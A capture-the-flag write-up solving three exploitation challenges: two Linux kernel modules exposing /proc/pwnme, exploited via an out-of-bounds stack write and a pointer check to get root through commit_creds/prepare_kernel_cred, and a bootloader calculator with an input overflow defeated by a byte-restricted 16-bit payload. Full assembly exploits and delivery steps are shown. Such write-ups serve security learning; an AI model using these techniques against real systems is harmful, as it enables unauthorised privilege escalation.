./
#baby_kernel (by: esoj)
[PWN]
Parece que essa VM está com o SMAP e SMEP desabilitados...
Conecte com socat FILE:`tty`,raw,echo=0 TCP:<IP>:<PORT>
Use o vi para escrever o exploit.
A flag esta em /dev/sda
It looks like this VM has disabled SMAP and SMEP...
Connect using socat FILE:`tty`,raw,echo=0 TCP:<IP>:<PORT>
Use vi to write the exploit
The flag is at /dev/sda

0x00 - Checking the files

First things first, let's take a look at the files given. They made available a zip file (babykernel.zip) containing a Dockerfile, an initramfs.cpio.gz, a vmlinuz, a ynetd, and a run.sh.

$ unzip -l babykernel.zip
Archive:  babykernel.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      940  2023-12-03 11:51   Dockerfile
   734067  2023-12-02 21:01   initramfs.cpio.gz
      297  2023-12-01 19:19   run.sh
 12212296  2023-12-01 19:19   vmlinuz
    18744  2023-12-03 11:50   ynetd
---------                     -------
 12966344                     5 files

The Dockerfile comes with instructions on how to run the challenge locally. The instructions also creates a flag.txt with placeholder data. It becomes available on TCP port 1024.

$ cat Dockerfile
# echo 'H2HC{FLAG}' > flag.txt && docker build -t babykernel . && docker run -ti -p 1024:1024 babykernel

FROM debian:buster

RUN apt-get update && apt-get install -y --no-install-recommends \
        python3 procps qemu-system-i386 \
 && rm -rf /var/lib/apt/lists/

RUN useradd --create-home --shell /bin/bash ctf
WORKDIR /home/ctf

COPY ynetd /sbin/

COPY run.sh vmlinuz initramfs.cpio.gz flag.txt ynetd /home/ctf/

RUN chmod 555 /home/ctf && \
    chown -R root:root /home/ctf && \
    chmod -R 000 /home/ctf/* && \
    chmod 500 /sbin/ynetd && \
    chmod 555 /home/ctf/run.sh && \
    chmod 555 /home/ctf/vmlinuz && \
    chmod 444 /home/ctf/initramfs.cpio.gz && \
    chmod 444 /home/ctf/flag.txt

USER ctf
RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e 's/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 '^(/dev/|/run/|/proc/|/sys/|/tmp|/var/tmp|/var/lock)'
USER root

EXPOSE 1024

CMD ynetd  /home/ctf/run.sh

The file being run on the container is run.sh. It Simply runs qemu with the kvm64 cpu, vmlinuz as the kernel, initramfs.cpio.gz as initrd, and the generated flag.txt as an hdb.

$ cat run.sh
#!/bin/sh
#cd /home/ctf
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64  \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nosmap  nokaslr kpti=0 nopti quiet panic=1"

Extracting the contents of initramfs.cpio.gz, we get the kernel module pwnme.ko.

$ gunzip <initramfs.cpio.gz | cpio -t
.
etc
etc/motd
etc/resolv.conf
etc/init.d
etc/init.d/rcS
etc/inittab
root
usr
usr/sbin
usr/bin
sbin
bin
bin/busybox
bin/sh
pwnme.ko
init
2493 blocks

0x01 - Finding the vulnerability

I prefer using Ida64 to decompile kernel modules. It is what gives me the most accurate code.

We find out that the module creates a proc file on /proc/pwnme. It implements two operations on the file: read and write.

The read operation is simple. It creates a buffer of length 32, then it reads 8 bytes into the user provided buffer. From where it reads is the interesting part.

ssize_t pwnme_read(file *file_in, char *userbuf, size_t num_bytes, loff_t *offset)
{
	int64_t buffer[4];
	buffer[0] = 1ll;
	buffer[1] = 2ll;
	buffer[2] = 3ll;
	buffer[3] = 4ll;

	if ( num_bytes > 4 ) {
		_ubsan_handle_out_of_bounds(&off_600, num_bytes);
	}
	copy_to_user(userbuf, &buffer[num_bytes], 8LL);
	return num_bytes;
}

It gets the address to read from through the following operation: buffer + num_bytes*8. This means we can use the parameter num_bytes to somewhat control the read address. The code does a check to see if you go out of bounds, but the _ubsan_handle_out_of_bounds() instruction does not exit upon being called, it continues the flow of the code normally, it only logs a warning to stdout.

The other operation is write.

ssize_t pwnme_write(file *file_in, const char *userbuf, size_t num_bytes, loff_t *foffset)
{
	int64_t buffer[4];
	buffer[0] = 1ll;
	buffer[1] = 2ll;
	buffer[2] = 3ll;
	buffer[3] = 4ll;

	if ( num_bytes <= 0xfff ) {
		if ( num_bytes > 4 ) {
			_ubsan_handle_out_of_bounds(&off_5E0, num_bytes);
		}
		copy_from_user(&buffer[num_bytes], userbuf, 8LL);
	}
	return num_bytes;
}

It basically has the same problem as the read implementation when calculating addresses to copy to, but it's a write operation, not read. This also means you can write 8 bytes anywhere (that is aligned in memory to the buffer). We can bypass the stack canary (omitted from these code snippets for the sake of simplicity) and write directly to the return address.

0x02 - Building the exploit

I had limited options on how to write the exploit given it was a machine with only busybox: either C using static binaries or assembly. Given the VM had no access to the internet whatsoever, the only way I found to send the exploit to the target machine was through copy pasting base64 into vi and decoding it. A static C binary is a few megabytes in size, and it would take a while to copy the string. Assembly on the other hand was only a few kilobytes.

The first part of the exploit was easy. Create a code that opens the pwnme file, then overwrites it's return address so it could jump to my shellcode in user address space.

_start:
	# open proc
	mov rax, 2
	lea rdi, [rip + procname]
	mov rsi, 2
	syscall
	mov r12, rax

	# execute the exploit itself
	mov rax, 1
	mov rdi, r12
	lea rsi, [rip + shellcode_addr]
	mov rdx, 8
	syscall

shellcode_addr:
	.quad shellcode

procname:
	.asciz "/proc/pwnme"

shellcode:
	...

First attempt

Since SMAP and SMEP are both disabled, I could read and execute user code through kernel. My first exploit idea was to jump from kernel to a user code and call execve to execute /bin/sh.

binsh:
	.asciz "/bin/sh"

shellcode:
	mov rax, 59
	lea rdi, [rip + binsh]
	mov rsi, 0
	mov rdx, 0
	syscall

I quickly found out that it didn't work. The problem was that doing a syscall from inside another syscall was not possible.

Second attempt

The only other idea I had was to change the current process' privileges so I could run execve after returning from the syscall.

To do that on a 5.x kernel, you can create new credentials calling prepare_kernel_cred with 0 as a parameter, then commit these new credentials to the current process with commit_creds. The only problem was figuring out what were the addresses to these functions.

Since I figured kaslr was disabled, I could just get the addresses once and hard code them into my exploit. My way of getting the addresses was to recreate the VM, but with a root shell instead of a user shell. I could then take a look at /proc/kallsyms to get the addresses.

I copied the contents of initramfs.cpio.gz and created a new one, changing /etc/inittab's command from cat /etc/motd; setuidgid 1000 sh; poweroff to simply cat /etc/motd; sh; poweroff, then reassembled the file with find . | cpio -o -H newc | gzip >initramfs.cpio.gz. I got almost everything now.

shellcode:
	mov rax, 0xffffffff810fe100 # prepare_kernel_creds
	mov rdi, 0
	call rax

	mov rdi, rax
	mov rax, 0xffffffff810fde20 # commit_creds
	call rax

The last problem was returning from the syscall without any problems. We can't return to the normal return address because we overwrote it. What I did instead was I read and saved the read syscall's return address, then jumped to it at the end of my shellcode.

_start:
	...

	# read return addr
	mov rax, 0
	mov rdi, r12
	lea rsi, [rip + return_addr]
	mov rdx, 8
	syscall

	...

return_addr:
	.quad return_addr

shellcode:
	...

	mov rax, [rip + return_addr]
	jmp rax

0x03 - Running the exploit

Sending the exploit to the machine was easy. Compile, convert to base 64 and copy it, open vi on the target machine, paste the base 64, decode and change permissions.

# On the host machine
as exploit.s -o exploit.o
ld exploit.o -o exploit
base64 exploit | xclip -sel clip
# On the target machine
cd /tmp
vi exploit.b64
# Paste the base 64 and exit vi
base64 -d exploit.b64 >exploit
chmod +x exploit

After this, you execute the exploit and it should open a shell with root privileges. To get the flag, it's as simple as running cat /dev/sda.

#direct (by: esoj)
[PWN]
Esse driver de kernel lhe dará um shell se você encontrar a agulha no palheiro
Conecte com socat FILE:`tty`,raw,echo=0 TCP:<IP>:<PORT>
Use o vi para escrever o exploit.
A flag esta em /dev/sda, boa sorte.
This kernel driver will give you a shell if you find the needle in the haystack
Connect using socat FILE:`tty`,raw,echo=0 TCP:<IP>:<PORT>
Use vi to write the exploit.
The flag is at /dev/sda, good luck.

0x00 - Files

This challenge's files were very similar to #baby_kernel's, so we'll skip this part.

0x01 - Finding the vulnerability

Same setup. A kernel module that creates a proc file at /proc/pwnme with both read and a write operations implemented.

The read operation copies 8 bytes from a global variable ptr to the user provided buffer.

ssize_t pwnme_read(file *file_in, char *userbuf, size_t num_bytes, loff_t *offset)
{
	copy_to_user(userbuf, ptr, 8LL);
	return num_bytes;
}

The write operator, on the other hand, checks for some values from the pointer given by the user. If all passes, it then changes the credentials of the current process and returns. We can then can execute a shell as root.

ssize_t pwnme_write(file *file_in, const char *userbuf, size_t num_bytes, loff_t *foffset)
{
	copy_from_user(&ptr, userbuf, 8LL);
	if ( *(_OWORD *)ptr != __PAIR128__(0x1337C0FEELL, 0xDEADBEEFC00FEELL) || *(_QWORD *)ptr[2] != 0xDEADBEEFC00FEELL ) {
		return num_bytes;
	}
	commit_creds(prepare_kernel_cred(0LL));
	return num_bytes;
}

Dissecting the if statement, there are two parts: A direct comparison of two 64 bit variables (paired as one 128 bit variable), and an indirect comparison of a 64 bit variable.

So we'll need to provide a pointer that has the following properties:

0x02 - Building the exploit

My solution was to craft a buffer that mimics the expected content.

buffer:
	.quad 0xdeadbeefc00fee, 0x1337c0fee

buffer_addr:
	.quad buffer

It was then as easy as sending a pointer to this structure, and call execve after returning from the read syscall.

_start:
	...

	# open("/proc/pwnme", O_WRONLY);
	mov rax, 2
	lea rdi, [rip + procname]
	mov rsi, 1
	syscall
	mov r12, rax

	# write(fd, &integer, 8);
	mov rax, 1
	mov rdi, r12
	lea rsi, [rip + buffer_addr]
	lea rdx, 8 # useless
	syscall

	# execve("/bin/sh", NULL, NULL);
	mov rax, 59
	lea rdi, [rip + cmd]
	lea rsi, [rip + argv]
	mov rdx, 0
	syscall

cmd:
	.asciz "/bin/sh"

argv:
	.quad cmd, 0

0x03 - Running the exploit

Same thing as #baby_kernel.

#smart_calculator (by: esoj)
[PWN]
Essa calculadora esta um pouco quebrada, mas será que voce consegue obter a flag?
This calculator is a little broken, but can you obtain the flag?

The author is a guess, the description didn't state who the author was.

0x00 - Files

This was the most interesting challenge. We were given a bootloader and had to read the flag which was in the next sector. The challenge was to somehow load the next sector, then print its content to the screen.

0x01 - Finding the vulnerability

For this bootloader, the best disassembler was Radare2 running with the arguments -m 0x7c00 to set memory address, and -b 16 to define the assembly bits.

The program was somewhat simple, it was an infinite loop where you could type in two one-digit numbers. It then summed the numbers and printed the results.

The program also ANDs the result with 0x12, so the only possible results from the sum that could be printed were 0, 2, 16, and 18. Nothing to do with the challenge, but weird nonetheless.

The first thing I looked at was how the input is implemented. It was function 0x7c78. The code uses interrupt INT 16/AH=00h to get keystrokes.

0x7c74       mov bx, word [0x7cf6]     # 0x500
0x7c78       mov ah, 0
0x7c7a       int 0x16
0x7c7c       call fcn.00007c5a         # putc
0x7c7f       cmp al, 0xa               # '\n'
0x7c81       je 0x7c8c
0x7c83       cmp al, 0xd               # '\r'
0x7c85       je 0x7c8c
0x7c87       mov byte [bx], al
0x7c89       inc bx
0x7c8a       jmp 0x7c78
0x7c8c       mov byte [bx], 0
0x7c8f       mov bx, 0x7cf3            # "\n\r"
0x7c92       call fcn.00007c67         # puts
0x7c95       ret

The notes for INT 16/AH=00h states this: On extended keyboards, this function discards any extended keystrokes, returning only when a non-extended keystroke is available. This means that it will ignore any character that is not between 0x01 and 0x7f.

Another thing to look at is the fact that it keeps putting the characters in memory in a buffer that starts at 0x500 until an enter is pressed. It does not have any mechanisms to limit the number of characters inputted.

If we go back to main, we can see that the stack starts at 0x600, only 256 bytes away from the input buffer. If we input enough bytes, we can overwrite the return address and jump to the input buffer and execute our payload.

0x7c00       mov bp, 0x600
0x7c03       mov sp, bp

0x02 - Building the exploit

We can't use bytes 0x00, 0x0a, 0xdd and every byte from 0x80 to 0xff to build our payload, so we'll have to get creative. There are limits, but we can actually use a few useful instructions.

We call 0x7c78 directly from main, so the return address should be at address 0x05fe (a 2 byte address for 16 bit instructions). We also can't use byte 0x00, so our payload will have to start at 0x501, which is a value we can actually write. That means we have 253 bytes to build our payload.

The final payload has to look like the one below, but we don't have access to the mov, int, or jmp instructions.

mov ah, 0x02
mov al, 1
mov ch, 0
mov cl, 2
mov dh, 0
mov bx, 0x7e00
int 0x13               # Loads next sector into memory at address bx
mov bx, 0x7e00
jmp 0x7c67             # Jumps to the already implemented puts

We can use add, sub, push, and pop, so my idea was to use these instructions to build a more complex code on the stack by popping values. We can't use jmp, so our stack will have to stop directly after our input's last instruction, this way IP will be pointing to the beginning of the generated code.

0x501                                           0x5fe         0x600
+----------------------+------------------------+-------------+
| initial payload ---->|<---- generated payload | return addr |
+----------------------+------------------------+-------------+

I wrote the initial payload all by hand, so it took a while to get everything right. I had to make sure the payload didn't use any of the invalid characters, and also didn't use the higher 8 bit registers, just the 16 bit and the lower 8 bit registers.

I like using GNU's assembler and linker, but for this challenge, the best option was NASM. Its raw binary output made the payload delivery a lot simpler.

In the end, this was the payload:

org 0x0500
bits 16

   pop ax                         # 1 byte instruction for padding
begin:
   push 0x0550                    # this payload ends at address
   pop sp                         # 0x53a, it's putting 0x16 bytes
                                  # on the stack, so the stack has
                                  # to start at address 0x550

   push 0x0178
   pop ax

   sub ax, 0x0101
   push ax
   add ax, 0x1872
   push ax
   add ax, 0x6517
   push ax
   add ax, 0x3d13
   push ax
   add ax, 0x126b
   push ax
   add ax, 0x333d
   push ax
   sub al, 0x05
   push ax
   add ax, 0x0201
   sub al, 0x06
   push ax
   sub ax, 0x0201
   add al, 0x05
   push ax
   add ax, 0x0101
   sub al, 0x06
   push ax
   add ax, 0x0104
   push ax

times 0xfe - ($-$$) db 0x01       # Fill the rest with 0x01s
dw begin                          # Overwrite the return address
db 0x0a                           # Enter at end of input

0x03 - Running the exploit

The delivery was simple. I found out it didn't catch the first few bytes if I just sent it directly after the connection was established, so as the challenge's notes suggested, I put a sleep before sending the payload (I actually just wrote it as (read;cat payload)|... instead of cat payload|...). pwntools' sendafter also works.

#conclusion

Overall a very enjoyable CTF with some different challenges (I especially enjoyed the #smart_calculator). Sadly, all challenges were solved after the CTF was already over as I was busy enjoying other parts of the event while it was happening.

Nonetheless, congratulations to GRIS for the CTF.